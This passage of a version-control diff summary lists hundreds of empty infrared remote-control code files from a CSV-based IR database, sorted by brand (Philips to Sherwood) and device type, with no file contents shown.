.../optional-assets/_CSV-IRDB_/Philips/TV/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/TV/3,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_01/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_01/48,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_101/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_130A/138,245.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_17PT1563/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_26PFL5604H/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_32PFL5403D/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_5260/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_5300/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_5373/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_8243/10,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_95/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_AV5609/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_CD/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_CD720/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_CD723/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_DSX-5500/39,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_DVD-724/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_DVD711/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_DVP-5982/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_DVP-642/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_FW2104/134,83.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_LV2/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_MULTI/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_MULTI/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_MULTI/6,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_PHDVD5/26,154.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_PHILIPS/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_PHILIPS/34,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_PM725S/27,-1.ir | 0 .../Philips/Unknown_Philips-PMDVD6T-Universal-AUX/64,47.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_R-48F01/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_RC-2012/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_RC-5/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_RC-5/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_RC-7843/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_RC/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_RC/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_RC19042002/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_RC19237006/4,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_RC19335003-01P/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_RC2034302/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_RC2070/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_RC2582/39,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_RC5-BP6/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_RC7507/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_RC7843/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_RC7925/26,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_RC8244/10,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_RC8861/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_RCLE011/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_RD6834/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_RT150/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_RU120/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_SBC-RU-520/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_SBC/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_SBC/6,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_SF172/39,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_SRM5100/4,15.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_SRU/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_STEREO/164,164.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_TIVO/133,48.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_TIVO34/133,48.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_TV/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_VCR/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_VR175/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_digital/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_dvd712/4,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_philips-rc2592-MODE-v1/8,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_rd5860.conf/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Unknown_uDigital/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/VCR/5,-1.ir | 0 .../_CSV-IRDB_/Phonotrend/Unknown_Prestige/4,-1.ir | 0 .../_CSV-IRDB_/Pinnacle Systems/Unknown_300i/17,20.ir | 0 .../_CSV-IRDB_/Pinnacle Systems/Unknown_800i/7,-1.ir | 0 .../_CSV-IRDB_/Pinnacle Systems/Unknown_PCTV/7,-1.ir | 0 .../_CSV-IRDB_/Pinnacle Systems/Unknown_RC-42D/7,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Pioneer/Amplifier/162,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Pioneer/Amplifier/164,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Pioneer/Amplifier/165,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Pioneer/CD Jukebox/162,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Pioneer/CD Player/162,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Pioneer/Cable Box/168,40.ir | 0 .../optional-assets/_CSV-IRDB_/Pioneer/Cable Box/170,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Pioneer/Cable Box/172,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Pioneer/Cassette Tape/161,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Pioneer/DVD Changer/163,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Pioneer/DVD Changer/175,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Pioneer/DVD Jukebox/163,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Pioneer/DVD Jukebox/175,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Pioneer/DVD Player/163,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Pioneer/DVD Player/175,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Pioneer/Laser Disc/163,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Pioneer/Laser Disc/168,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Pioneer/Laser Disc/175,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Pioneer/Receiver/164,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Pioneer/Receiver/165,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Pioneer/TV/170,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Pioneer/TV/175,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Pioneer/Unknown_AXD-1531/170,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Pioneer/Unknown_AXD-7306/166,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Pioneer/Unknown_CD/162,-1.ir | 0 .../_CSV-IRDB_/Pioneer/Unknown_CU-CLD067/168,-1.ir | 0 .../_CSV-IRDB_/Pioneer/Unknown_CU-CLD106/168,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD008/162,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD038/162,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD046/162,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD069/162,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD085/162,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD089/162,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Pioneer/Unknown_DEH-D8850/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Pioneer/Unknown_PD-M650/162,-1.ir | 0 .../_CSV-IRDB_/Pioneer/Unknown_Pioneer-CU-XR014/2,1.ir | 0 .../optional-assets/_CSV-IRDB_/Pioneer/Unknown_VXX2801/163,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Pioneer/Unknown_cu-pd096/162,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Pioneer/Unknown_pioneer/162,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Pioneer/Unknown_pioneer/168,-1.ir | 0 .../optional-assets/_CSV-IRDB_/PixelView/Unknown_2000/63,-1.ir | 0 .../_CSV-IRDB_/PixelView/Unknown_PlayTV/134,107.ir | 0 .../_CSV-IRDB_/Polaroid/Unknown_DVDP-1000/32,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Pragmatic/Router/172,-1.ir | 0 .../optional-assets/_CSV-IRDB_/ProPlay/Unknown_PS2/0,246.ir | 0 .../optional-assets/_CSV-IRDB_/Proceed/Surround Processor/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Proscan/DVD Player/15,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Proscan/DVD Player/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Proscan/TV/15,-1.ir | 0 .../_CSV-IRDB_/Proscan/Unknown_proscan-vcr/14,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Protek/Unknown_Protek/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Proton/TV/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Proton/TV/2,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Proton/TV/3,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Proton/TV/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Provideo/Unknown_PV951/134,107.ir | 0 .../_CSV-IRDB_/Provision/Unknown_PR-DVD2.0/1,-1.ir | 0 .../_CSV-IRDB_/Provision/Unknown_PRDVD2166/0,153.ir | 0 .../optional-assets/_CSV-IRDB_/QUADRAL/Unknown_RC-804/19,1.ir | 0 .../optional-assets/_CSV-IRDB_/Quasar/TV/128,0.ir | 0 .../optional-assets/_CSV-IRDB_/RCA/DSS/15,-1.ir | 0 .../optional-assets/_CSV-IRDB_/RCA/DSS/7,-1.ir | 0 .../optional-assets/_CSV-IRDB_/RCA/DVD Player/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/RCA/Laser Disc/13,-1.ir | 0 .../optional-assets/_CSV-IRDB_/RCA/TV/14,-1.ir | 0 .../optional-assets/_CSV-IRDB_/RCA/TV/15,-1.ir | 0 .../optional-assets/_CSV-IRDB_/RCA/TV/7,-1.ir | 0 .../optional-assets/_CSV-IRDB_/RCA/Unknown_BR-RCA/39,-1.ir | 0 .../optional-assets/_CSV-IRDB_/RCA/Unknown_DTA800b/7,-1.ir | 0 .../optional-assets/_CSV-IRDB_/RCA/Unknown_R130A1/15,-1.ir | 0 .../optional-assets/_CSV-IRDB_/RCA/Unknown_RCA-F20507CP/15,-1.ir | 0 .../optional-assets/_CSV-IRDB_/RCA/Unknown_RCZ/135,94.ir | 0 .../optional-assets/_CSV-IRDB_/RCA/Unknown_TV/15,-1.ir | 0 .../optional-assets/_CSV-IRDB_/RCA/VCR/14,-1.ir | 0 .../optional-assets/_CSV-IRDB_/RCA/VCR/15,-1.ir | 0 .../optional-assets/_CSV-IRDB_/RSQ/Karaoke/179,-1.ir | 0 .../optional-assets/_CSV-IRDB_/RSQ/Karaoke/191,-1.ir | 0 .../optional-assets/_CSV-IRDB_/RSQ/Karaoke/3,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Radio Shack/Unknown_RS2142/5,-1.ir | 0 .../_CSV-IRDB_/Radio Shack/Unknown_RadioShack/3,1.ir | 0 .../_CSV-IRDB_/Radio Shack/Unknown_Radioshack2115/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Radix/Unknown_Alpha/138,245.ir | 0 .../optional-assets/_CSV-IRDB_/Radix/Unknown_DT-X1/0,127.ir | 0 .../_CSV-IRDB_/Radix/Unknown_DTR-9000-Twin/0,127.ir | 0 .../optional-assets/_CSV-IRDB_/Radix/Unknown_SAT/138,245.ir | 0 .../optional-assets/_CSV-IRDB_/Radix/Unknown_lircd.conf/0,127.ir | 0 .../optional-assets/_CSV-IRDB_/Radix/Unknown_radix/138,245.ir | 0 .../_CSV-IRDB_/Raite/Unknown_RaiteDVD-7xx/32,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Ranex/Unknown_RGB/64,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Re.x/Unknown_SDVD/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/ReadMe.md | 0 .../optional-assets/_CSV-IRDB_/Recor/Unknown_IRC-1304/7,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Rega/Receiver/110,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Rega/Receiver/135,124.ir | 0 .../optional-assets/_CSV-IRDB_/Rega/Receiver/16,-1.ir | 0 .../_CSV-IRDB_/Replay Networks/Digital Recorder/1,0.ir | 0 .../optional-assets/_CSV-IRDB_/ReplayTV/Unknown_5000/1,0.ir | 0 .../optional-assets/_CSV-IRDB_/Revo/Unknown_Blik/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Revoy/Unknown_Revoy2200/0,153.ir | 0 .../optional-assets/_CSV-IRDB_/Rio/Unknown_Audio/130,19.ir | 0 .../optional-assets/_CSV-IRDB_/Roku/Unknown_Netflix/190,239.ir | 0 .../optional-assets/_CSV-IRDB_/Roku/Unknown_Soundbridge/111,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Rolsen/Unknown_DK5A/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Rolsen/Unknown_K10B-C1/14,14.ir | 0 .../optional-assets/_CSV-IRDB_/Rotel/CD Player/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Rotel/Tuner/82,0.ir | 0 .../optional-assets/_CSV-IRDB_/Rotel/Unknown_RR-925/131,18.ir | 0 .../optional-assets/_CSV-IRDB_/Rowa/Unknown_RDVD104/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Runco/Line Doubler/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Runco/Video Controller/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Runco/Video Projector/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Runco/Video Projector/24,247.ir | 0 .../optional-assets/_CSV-IRDB_/Runco/Video Projector/5,1.ir | 0 .../optional-assets/_CSV-IRDB_/Russound/Music Server/10,-1.ir | 0 .../optional-assets/_CSV-IRDB_/SAB/Unknown_Explorer/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/SABA/Unknown_SabaTC460/7,-1.ir | 0 .../optional-assets/_CSV-IRDB_/SABA/Unknown_TC3003/7,-1.ir | 0 .../optional-assets/_CSV-IRDB_/SEG/Unknown_E6900-X020A/2,-1.ir | 0 .../optional-assets/_CSV-IRDB_/SEG/Unknown_SEG-DVD-430/32,-1.ir | 0 .../optional-assets/_CSV-IRDB_/SEG/Unknown_SEG-VCR4300/21,-1.ir | 0 .../optional-assets/_CSV-IRDB_/SEG/Unknown_SR-040/133,115.ir | 0 .../optional-assets/_CSV-IRDB_/SEG/Unknown_SR-201/66,253.ir | 0 .../optional-assets/_CSV-IRDB_/SEG/Unknown_SR800/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/SEG/Unknown_VCR/21,-1.ir | 0 .../optional-assets/_CSV-IRDB_/SEG/Unknown_VCR2000/134,124.ir | 0 .../optional-assets/_CSV-IRDB_/ST/Unknown_DTTRC-4/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/ST/Unknown_HMP/8,-1.ir | 0 .../optional-assets/_CSV-IRDB_/STRONG/8209_DVB-T2/1,254.ir | 0 .../optional-assets/_CSV-IRDB_/STRONG/8821_DVB-T/2,2.ir | 0 .../optional-assets/_CSV-IRDB_/STRONG/Unknown_STRONG/128,119.ir | 0 .../optional-assets/_CSV-IRDB_/SUPERSQNY/Unknown_KM-168/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/SVEN/Unknown_HT-475/24,-1.ir | 0 .../optional-assets/_CSV-IRDB_/SVEN/Unknown_IHOO/24,-1.ir | 0 .../_CSV-IRDB_/Sagem/Unknown_DVB-T-Receiver/135,94.ir | 0 .../optional-assets/_CSV-IRDB_/Sagem/Unknown_HD103-C/135,94.ir | 0 .../optional-assets/_CSV-IRDB_/Sagem/Unknown_Sagem/135,94.ir | 0 .../optional-assets/_CSV-IRDB_/Salora/Unknown_SV6700/49,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Air Conditioner/1,8.ir | 0 .../_CSV-IRDB_/Samsung/Rear Projection DLP TV/7,7.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/TV/7,7.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_00011k/102,0.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_00021c/5,5.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_00054d/102,0.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_00056A/102,0.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_00077A/7,7.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_00092M/102,0.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_00092b/102,0.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_00104J/7,7.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_00104K/7,7.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_00198f/7,7.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_00225A/7,7.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_01043A/102,0.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_10107N/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_10116A/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_10420A/5,5.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_528Z/2,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00316b/7,7.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00332D/7,7.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00370A/7,7.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00382A/7,7.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00600A/7,7.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-10026E/5,5.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_AA64-50236A/7,7.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_AH59-01527F/67,83.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_AH59-02345A/7,7.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_ARH-700/1,8.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00507A/7,7.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00538A/7,7.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00603A/7,7.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00609A/7,7.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00634A/9,9.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00678A/7,7.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00683A/7,7.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00685A/7,7.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00856A/7,7.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00861A/7,7.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00865A/7,7.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00869A/7,7.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00940A/7,7.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_BRM-E1E/33,33.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_HLN507W/7,7.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_MF59-00242B/9,9.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_MF59-00291a/32,0.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_MF59/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_PR3914/5,5.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_RCD-M70/0,4.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/102,0.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/5,5.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/7,7.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_SAT/21,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_SFT-702E/64,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_SMT-1000T/64,64.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_SMT-H3050/27,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-411X/5,5.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-610X/5,5.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-651B/5,5.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-DVD3E/5,5.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_TV/7,7.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_VCR/5,5.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_VXK-336/5,5.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_hifi/0,1.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_samsung-10095T/7,7.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/Unknown_test/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/VCR/2,2.ir | 0 .../optional-assets/_CSV-IRDB_/Samsung/VCR/5,5.ir | 0 .../optional-assets/_CSV-IRDB_/Samy/Unknown_SDX1100/8,230.ir | 0 .../optional-assets/_CSV-IRDB_/Sansonic/Unknown_FT-300A/0,-1.ir | 0 .../_CSV-IRDB_/Sansui/Unknown_SANSUI-RS-S103/132,77.ir | 0 .../optional-assets/_CSV-IRDB_/Sanyo/TV/56,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sanyo/Unknown_A05800/49,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sanyo/Unknown_B01004/49,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sanyo/Unknown_B01007/49,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sanyo/Unknown_B12628/49,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sanyo/Unknown_B13540/49,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sanyo/Unknown_RB-DA300/60,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sanyo/Unknown_RB-SL22/60,196.ir | 0 .../optional-assets/_CSV-IRDB_/Sanyo/Unknown_RC-105C/54,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sanyo/Unknown_RC700/56,-1.ir | 0 .../_CSV-IRDB_/Sanyo/Unknown_Sanyo-B13509/49,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sanyo/Unknown_Sanyo-JXZB/56,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sanyo/Unknown_Sanyo/49,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sanyo/Unknown_Sanyo/56,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sanyo/Unknown_TV/56,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sanyo/Unknown_VCR/49,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sanyo/Unknown_sanyo-tv01/56,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sanyo/Unknown_sanyoB13537/49,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sanyo/Video Projector/48,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Satelco/Sat/24,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Schneider/Unknown_FB2000/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Schneider/Unknown_RC-193/154,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Schneider/Unknown_RC202/11,11.ir | 0 .../optional-assets/_CSV-IRDB_/Schneider/Unknown_RC901/28,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Schneider/Unknown_RC902/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Schwaiger/Unknown_DSR/0,-1.ir | 0 .../_CSV-IRDB_/Scientific Atlanta/Cable Box/27,-1.ir | 0 .../_CSV-IRDB_/Scientific Atlanta/Cable Box/71,-1.ir | 0 .../_CSV-IRDB_/Scientific Atlanta/Unknown_Atlanta-1840/27,-1.ir | 0 .../_CSV-IRDB_/Scientific Atlanta/Unknown_IV/27,-1.ir | 0 .../_CSV-IRDB_/Scientific Atlanta/Unknown_RM9834/27,-1.ir | 0 .../_CSV-IRDB_/Scientific Atlanta/Unknown_SAE8000/27,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Scott/Unknown_DVD-838/8,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Scott/Unknown_scott-dvd/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Seleco/TV/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Seleco/TV/30,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sencor/Unknown_SFN9011SL/0,252.ir | 0 .../optional-assets/_CSV-IRDB_/Sgi/Unknown_SGIMON/26,9.ir | 0 .../optional-assets/_CSV-IRDB_/Sharp/DTV Decoder/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sharp/Monitor/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sharp/TV/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sharp/Unknown_CV-2131CK1/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sharp/Unknown_G0048TA/19,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sharp/Unknown_G0412GE/3,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sharp/Unknown_G0938CESA/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sharp/Unknown_G1014BMSA/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sharp/Unknown_G1044BMSA/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sharp/Unknown_GJ210/0,189.ir | 0 .../_CSV-IRDB_/Sharp/Unknown_RRMCGA030WJSA/8,48.ir | 0 .../optional-assets/_CSV-IRDB_/Sharp/Unknown_SHARP/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sharp/Unknown_sharp1781/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sharp/VCR/3,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sharp/Video Projector/13,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sharpsat/Unknown_T28/128,38.ir | 0 .../optional-assets/_CSV-IRDB_/Sherwood/Receiver/131,69.ir | 0 .../_CSV-IRDB_/Sherwood/Unknown_GC-1285/129,114.ir | 0 